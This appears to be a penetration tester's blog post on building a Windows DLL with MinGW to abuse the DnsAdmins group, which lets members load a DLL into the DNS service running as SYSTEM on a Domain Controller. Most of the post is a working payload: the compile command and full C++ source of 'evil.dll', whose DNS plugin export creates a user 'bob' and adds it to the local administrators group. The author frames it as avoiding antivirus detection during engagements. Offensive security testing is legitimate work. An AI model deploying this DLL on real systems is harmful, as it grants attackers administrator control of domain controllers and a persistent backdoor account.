Compiling a Windows DLL has always been a pain for me. Getting Visual Studio working is frustrating (or at least used to be, before VS2019). I ran into this same issue recently. I didn't have Visual Studio readily available because the VMs I had built for the task were left behind. I always knew that MinGW could build DLLs; however, I never spent the time to figure it out.

Now was that time. I needed a DLL that wouldn't be caught by AV, and I could use it to exploit the DNS Admin escalation path. You can read all about the DNS Admin escalation path in the resources below, but the TL;DR boils down to if you happen to be in the local group called “DnsAdmins” on a Domain Controller, then you have permission to load a DLL into the DNS service running as SYSTEM.

(DnsAdmins is a LOCAL group, which threw me off for a long time about this attack. Trying to find it at the domain level was super annoying. On my test DC, I could see it, but when I was doing engagements, I never seemed to find it.)

Resources

DNS Admin Resources:

Compiling DLLs with MinGW:

Compiling

… here is the super exciting output from compiling the DLL…

root@kali:~/dnsadmin# x86_64-w64-mingw32-gcc -shared -o evil.dll evildll.cpp
root@kali:~/dnsadmin# 

Example Code

#include <windows.h>
#include <stdlib.h>


// Here so I remember how to compile it.
// x86_64-w64-mingw32-gcc -shared -o evil.dll evildll.cpp

extern "C" __declspec(dllexport) int DnsPluginInitialize(PVOID a1, PVOID a2)
{
  system("net.exe user bob Password123 /add");
  system("net.exe localgroup administrators bob /add");
  return 0;
}

extern "C" __declspec(dllexport) int DnsPluginCleanup()
{
  return 0;
}

extern "C" __declspec(dllexport) int DnsPluginQuery(PSTR a1, WORD a2, PSTR a3, PVOID a4)
{
  return 0;
}


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        OutputDebugString("DLL_PROCESS_ATTACH");
        break;

    case DLL_THREAD_ATTACH:
        OutputDebugString("DLL_THREAD_ATTACH");
        break;

    case DLL_THREAD_DETACH:
        OutputDebugString("DLL_THREAD_DETACH");
        break;

    case DLL_PROCESS_DETACH:
        OutputDebugString("DLL_PROCESS_DETACH");
        break;
    }

    return TRUE;
}